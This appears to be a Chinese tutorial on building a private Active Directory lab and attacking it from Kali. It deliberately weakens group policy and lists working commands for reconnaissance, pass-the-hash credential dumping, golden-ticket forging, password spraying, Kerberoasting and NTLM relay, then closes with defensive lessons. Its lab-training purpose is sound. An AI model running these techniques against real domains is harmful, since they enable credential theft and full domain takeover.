从零搭建内网渗透单域环境:Active Directory攻防实战指南
1. 项目概述:为什么需要从零搭建一个内网渗透单域环境?
如果你对网络安全、渗透测试或者红蓝对抗感兴趣,那么“内网渗透”这个词对你来说一定不陌生。它模拟的是攻击者在突破边界防御后,进入组织内部网络进行横向移动、权限提升和数据窃取的过程。而“域环境”,尤其是微软的Active Directory(AD)域,则是绝大多数企业内网的核心架构。可以说,不懂域渗透,就等于不懂内网渗透。
那么,为什么我们要“从零搭建”这样一个环境呢?直接拿现成的靶机不好吗?这里面的门道可不少。首先,现成的靶机环境往往是固化的,攻击路径和防御措施都已经被设计好了,你只是在走别人设定好的流程。而自己从零搭建,意味着你需要理解域环境中的每一个组件——域控制器、成员服务器、工作站、用户、组策略——是如何协同工作的。这就像学开车,你不能只会在模拟器上开固定路线,必须得自己从启动引擎、挂挡、打方向盘开始,才能真正理解车辆的运行机制。其次,一个完全由你掌控的环境,是进行深度研究、复现新型攻击手法、测试防御策略的绝佳沙盒。你可以随意创建漏洞、配置错误策略、部署恶意软件,而不用担心影响任何真实系统。这对于安全研究员、渗透测试工程师和想深入理解AD安全的学生来说,是至关重要的第一步。这个项目,就是带你亲手打造这样一个专属的、可控的、用于学习和研究的内网渗透单域实验室环境。
2. 环境整体设计与核心组件选型
搭建一个用于渗透测试的单域环境,绝不是简单装几台虚拟机就完事了。它需要模拟一个真实企业内网的简化缩影,同时又要兼顾实验的便捷性和可复现性。我的设计思路是:最小化但功能完整。一个典型的单域环境至少需要三台机器:一台域控制器、一台成员服务器和一台工作站。但为了覆盖更全面的攻击面,我通常会搭建一个包含四台主机的环境。
2.1 核心架构与角色分配
我设计的标准单域环境架构如下:
域控制器:这是整个域的大脑和心脏。我选择使用Windows Server 2016或2019。为什么不选最新的2022?因为2016/2019是目前企业环境中保有量极高的版本,更具代表性。它的核心服务是Active Directory 域服务,负责管理所有域用户、计算机、组策略等。我会将其命名为
DC01,并分配一个固定的IP地址,例如192.168.1.10。成员服务器:在真实环境中,除了DC,还会有各种应用服务器,如文件服务器、Web服务器、数据库服务器等。为了模拟横向移动,我会搭建一台Windows Server 2016作为成员服务器,命名为
SRV01,IP为192.168.1.20。我会在上面安装一些常见服务,比如IIS和一个存在漏洞的旧版应用,为后续的漏洞利用提供场景。工作站:代表普通员工的办公电脑。我选择Windows 10专业版,因为它是最广泛使用的客户端系统。将其命名为
WIN10-CLIENT,IP为192.168.1.30。这台机器将加入域,供域用户登录使用。攻击机:这是我们的“黑客”主机。我强烈推荐使用Kali Linux,因为它集成了几乎所有你需要的渗透测试工具。将其命名为
KALI,IP为192.168.1.100。它位于同一个虚拟网络内,模拟已经通过某种方式(如钓鱼邮件)进入了内网的攻击者。
注意:所有虚拟机应使用仅主机模式或自定义的私有NAT网络。绝对不要使用桥接模式,否则你的实验环境可能会干扰到真实的家庭或公司网络,甚至产生安全风险。
2.2 软件与工具选型理由
- 虚拟化平台:VMware Workstation Pro或VirtualBox。VMware在性能和网络模拟上更胜一筹,适合追求稳定和效率的用户。VirtualBox免费且跨平台,是入门首选。我个人更倾向于VMware。
- 操作系统镜像:务必从微软官方渠道下载评估版镜像。切勿使用来路不明的“精简版”或“破解版”,这些版本可能缺失关键组件或引入未知问题,导致实验失败。
- 渗透测试工具:Kali Linux已经内置了绝大部分。但有几个工具需要特别关注,我们会在攻击阶段详细讲解:
nmap(扫描)、impacket套件(协议利用)、BloodHound(域内关系分析)、Mimikatz(凭据提取)等。
这个架构看似简单,但已经包含了域渗透的核心要素:身份认证(Kerberos/NTLM)、权限管理(用户/组)、资源访问(共享、服务)和信任关系(域成员信任DC)。攻击者从一台入域的工作站或服务器出发,到最终完全控制域控制器,这条攻击链上的大多数环节都能在这个环境中得到演练。
3. 分步搭建实战:构建你的单域实验室
接下来,我们进入实操环节。请跟随我的步骤,一步步构建环境。我会详细解释每个操作背后的意图,而不仅仅是告诉你点击哪里。
3.1 第一步:准备虚拟网络与基础系统
首先,在VMware中创建一个新的自定义虚拟网络(例如,VMnet2),将其配置为“仅主机模式”,并关闭DHCP服务。我们将手动分配IP地址,以便于精准控制。
安装域控制器:
- 新建虚拟机,安装Windows Server 2016/2019。
- 将网络适配器连接到
VMnet2。 - 启动系统,将计算机名改为
DC01,重启。 - 手动设置IPv4地址:
192.168.1.10,子网掩码255.255.255.0,网关可留空,DNS服务器指向自己127.0.0.1(安装AD服务后,DC自身就是DNS服务器)。 - 安装完成后,暂时不要做其他配置。
安装成员服务器与工作站:
- 同理,安装
SRV01和WIN10-CLIENT。 SRV01IP:192.168.1.20,DNS指向192.168.1.10。WIN10-CLIENTIP:192.168.1.30,DNS指向192.168.1.10。- 注意,在加入域之前,它们的DNS必须指向域控制器,否则无法解析域域名。
- 同理,安装
安装攻击机:
- 安装Kali Linux,网络同样连接到
VMnet2。 - 手动设置IP:
192.168.1.100,DNS可以设置为192.168.1.10或公共DNS如8.8.8.8。
- 安装Kali Linux,网络同样连接到
3.2 第二步:部署Active Directory域服务
这是最关键的一步。在DC01上操作:
- 打开“服务器管理器”,点击“添加角色和功能”。
- 一路“下一步”,直到“服务器角色”页面。勾选“Active Directory 域服务”。在弹出的窗口中点击“添加功能”。
- 继续“下一步”直到安装完成。然后点击黄色警告标志上的“将此服务器提升为域控制器”。
- 在“部署配置”中,选择“添加新林”,并输入根域名。这里我使用一个在公网不存在的测试域名:
lab.local。这很重要,避免与真实域名冲突。 - 设置目录服务还原模式密码(用于灾难恢复,请牢记)。
- 后续步骤保持默认,直到“先决条件检查”通过,然后点击“安装”。系统会自动重启。
重启后,DC01就正式成为lab.local域的域控制器了。你可以使用LAB\Administrator账户登录。
3.3 第三步:配置基础域环境
登录DC01后,我们需要创建一些基础对象,模拟真实环境。
创建组织单元和用户:
- 打开“Active Directory 用户和计算机”。
- 在
lab.local下,新建组织单元,例如Employees和Servers。这是一种良好的管理实践。 - 在
Employees下,新建几个用户:alice(普通员工)、bob(IT支持人员)、svc_sql(一个用于运行数据库服务的服务账户)。务必为用户设置初始密码,并勾选“用户下次登录时须更改密码”(对于服务账户svc_sql,则取消勾选,并设置为“密码永不过期”)。 - 在
Servers下,我们可以预先为SRV01创建一个计算机账户(也可在加域时自动创建)。
创建安全组:
- 在
EmployeesOU下,新建安全组,如IT_Admins、Finance_Users。 - 将
bob用户加入到IT_Admins组。
- 在
配置组策略:
- 打开“组策略管理”。在
lab.local域上右键,“在这个域中创建GPO并在此处链接”。 - 命名为“Default Domain Policy - Test”。右键编辑。
- 这里我们可以故意引入一些“不安全”的配置,用于后续攻击演练。例如:
计算机配置 -> 策略 -> Windows设置 -> 安全设置 -> 本地策略 -> 安全选项:将“网络访问:可匿名访问的共享”设置为包含C$等(模拟配置失误)。计算机配置 -> 策略 -> 管理模板 -> 系统 -> 凭据分配:启用“允许分配保存的凭据用于仅 NTLM 服务器身份验证”(为Wdigest攻击或哈希传递铺路)。
- 注意:在真实生产环境中,这些策略是极其危险的!但在我们的实验环境中,它们是有价值的“漏洞”。
- 打开“组策略管理”。在
3.4 第四步:将服务器和工作站加入域
将SRV01加入域:
- 登录
SRV01的本地管理员账户。 - 打开系统属性,在“计算机名”选项卡点击“更改”。
- 选择“域”,输入
lab.local,点击确定。 - 输入域管理员凭据(
LAB\Administrator)。 - 重启后,使用域账户(如
LAB\bob)登录,验证加域成功。 - 在
SRV01上安装IIS,并创建一个简单的网页。在防火墙中放行80端口。
- 登录
将WIN10-CLIENT加入域:
- 过程与
SRV01类似。加域重启后,尝试使用LAB\alice账户登录。 - 登录成功后,打开文件资源管理器,访问
\\SRV01\,应该能看到共享(可能需要输入LAB\alice的凭据)。这验证了基本的域内资源访问功能。
- 过程与
至此,一个基础的单域环境就搭建完成了。此时,你的网络应该看起来是这样的:DC01、SRV01、WIN10-CLIENT三台机器都在lab.local域内,可以互相通信和进行身份认证。KALI攻击机在同一个网段,但不在域内,模拟一个内部威胁。
4. 核心渗透测试环节实战演练
环境搭建好不是目的,利用它进行实战演练才是关键。下面,我将模拟一个经典的攻击链,展示如何利用这个环境进行内网渗透。
4.1 环节一:信息收集与侦察
攻击者首先需要摸清内网环境。从KALI机器开始。
网络发现:
# 使用nmap进行存活主机扫描 nmap -sn 192.168.1.0/24这会发现
192.168.1.10,.20,.30等主机。端口与服务扫描:
# 对DC进行详细端口扫描 nmap -sV -sC -O -p- 192.168.1.10你会看到DC开放了
53(DNS),88(Kerberos),135,139,445(SMB),389(LDAP),636(LDAPS),3268(Global Catalog) 等关键端口。这些端口揭示了它是一台域控制器。SMB枚举:
# 使用enum4linux枚举SMB信息 enum4linux -a 192.168.1.10或者使用
smbclient:# 尝试空会话连接(如果前面组策略允许了匿名访问) smbclient -L //192.168.1.10/ -N如果成功,可能列出共享列表,甚至获取用户列表。
4.2 环节二:初始访问与权限提升
假设我们通过钓鱼邮件,在WIN10-CLIENT上获得了alice用户的权限(一个普通域用户)。现在我们在KALI上,已经拿到了alice的密码哈希或明文密码。
使用Impacket进行横向移动:
# 使用alice的凭据,尝试访问SRV01的C$共享 python3 /usr/share/doc/python3-impacket/examples/smbclient.py lab.local/alice:Password123@192.168.1.20 # 如果成功,可以列出目录,上传文件等。利用配置错误提取凭据: 如果我们在
SRV01上获得了本地管理员权限,可以尝试转储内存中的凭据。这里模拟使用Mimikatz(需在Windows目标机上执行)。在渗透测试中,我们可能通过漏洞上传并执行它。# 在Kali上,我们可以使用Impacket的secretsdump.py远程转储DC的哈希(如果拥有域管理员权限或特定的漏洞) # 注意:这需要高权限。这里演示的是攻击的终极目标之一。 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py lab.local/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0重要警告:
secretsdump.py需要有效的域管理员NTLM哈希。这通常是通过其他手段(如Kerberoasting、AS-REP Roasting、NTLM Relay等)先获取到一个高权限账户的哈希后才能进行的。这正体现了攻击链的递进性。
4.3 环节三:域内权限维持与横向移动
黄金票据攻击: 如果我们通过
secretsdump获取了域控制器的krbtgt账户的哈希,我们就可以伪造任意用户的TGT(票据授予票据),即生成“黄金票据”。# 在Kali上使用Impacket的ticketer.py python3 /usr/share/doc/python3-impacket/examples/ticketer.py -nthash <krbtgt_nt_hash> -domain-sid <domain_sid> -domain lab.local administrator生成票据后,使用
export KRB5CCNAME环境变量指定票据文件,即可用administrator身份访问任何域资源。BloodHound 图谱分析: 这是现代域渗透的“神器”。我们需要在
KALI上运行BloodHound的采集器SharpHound.exe(需上传到已控的域内主机执行),它会收集整个AD的拓扑、权限关系数据,然后导入到Kali上的BloodHound UI中进行分析。- 在Kali启动BloodHound:
bloodhound & - 在Neo4j中设置密码(默认
bloodhound)。 - 在UI中上传
SharpHound收集的zip文件。 BloodHound会清晰地展示出从alice到域管理员的攻击路径,例如:alice是某服务器的本地管理员 -> 该服务器上有某服务账户的凭据 -> 该服务账户是某特权组的成员 -> 该组对域控制器有写权限。这为我们提供了清晰的横向移动路线图。
- 在Kali启动BloodHound:
5. 常见问题、排查技巧与防御思考
在搭建和演练过程中,你肯定会遇到各种问题。这里我分享一些踩过的坑和解决思路。
5.1 环境搭建常见问题
| 问题现象 | 可能原因 | 排查与解决 |
|---|---|---|
| 计算机无法加入域 | 1. DNS解析失败。 2. 网络不通。 3. 域控制器防火墙阻止。 4. 时间不同步。 | 1. 确保客户机DNS设置为DC的IP。 2. 在客户机上ping DC的IP和域名 lab.local。3. 在DC上关闭防火墙或放行相关端口(实验环境可暂时关闭)。 4. 确保所有机器时间相差不超过5分钟。 |
| 域用户登录失败 | 1. 密码错误。 2. 账户被禁用。 3. 用户无权在此计算机登录。 | 1. 仔细检查密码。 2. 在AD用户和计算机中检查账户状态。 3. 在DC的“本地安全策略”或域组策略中,检查“允许本地登录”权限。 |
| Kali无法解析域名 | DNS设置错误。 | 在Kali的/etc/resolv.conf中增加nameserver 192.168.1.10。注意网络重启可能会重置,建议修改/etc/resolvconf/resolv.conf.d/head文件。 |
| Impacket工具连接失败 | 1. 认证失败。 2. 目标服务未开启。 3. 协议版本问题。 | 1. 使用-hashes参数时,确保哈希格式正确(LM:NT)。2. 使用 nmap确认目标端口开放。3. 尝试使用 -target-ip参数指定IP。 |
5.2 渗透演练中的技巧与心得
善用
crackmapexec:这是内网渗透的瑞士军刀。它可以批量测试SMB、WinRM、MSSQL等的凭据,执行命令,上传下载文件等。命令如crackmapexec smb 192.168.1.0/24 -u user.txt -p pass.txt可以快速进行密码喷洒攻击。关注服务账户:在BloodHound中,重点关注像
svc_sql这类服务账户。它们通常密码不会频繁更改,且可能被配置了过高的权限。通过Kerberoasting攻击(使用GetUserSPNs.py)可以离线破解其密码哈希。NTLM Relay攻击的利用:在我们的实验环境中,可以故意让
SRV01的LLMNR、NetBIOS协议开启,并关闭SMB签名(默认关闭),从而在内部网络发起NTLM Relay攻击,将其他主机的认证流量中继到DC,直接获取高权限。这需要配合Responder和ntlmrelayx.py工具。日志与监控:别忘了从防御者视角看问题。在DC和成员服务器上打开“审核策略”,记录成功和失败的登录事件、账户管理事件等。然后在你发起攻击时,去“事件查看器”里观察这些日志是如何记录的。这能帮你更好地理解攻击检测原理。
5.3 从攻击到防御的思维转变
搭建并攻破自己的域环境后,最大的收获不是学会了几条攻击命令,而是深刻理解了“攻击路径”和“安全假设”。你会明白:
- 最小权限原则为何如此重要:如果
alice只是一个普通用户,没有对任何服务器的本地管理员权限,很多横向移动手段就会失效。 - 强密码与定期改密的价值:如果
krbtgt账户的密码强度极高且定期更改,黄金票据攻击的窗口期就很短,危害降低。 - 启用SMB签名的必要性:如果所有服务器都强制启用SMB签名,NTLM Relay攻击将无法成功。
- 禁用过时协议的意义:关闭LLMNR和NetBIOS,可以很大程度上消除基于名称解析的欺骗攻击。
这个自己搭建的单域环境,就像一个安全的“道场”。你既可以在这里练习最锋利的“矛”(攻击技术),也可以在这里锻造最坚固的“盾”(防御策略)。每一次成功的攻击,都应该对应一个或多个防御方案的思考。只有这样,你的技能才是完整和立体的。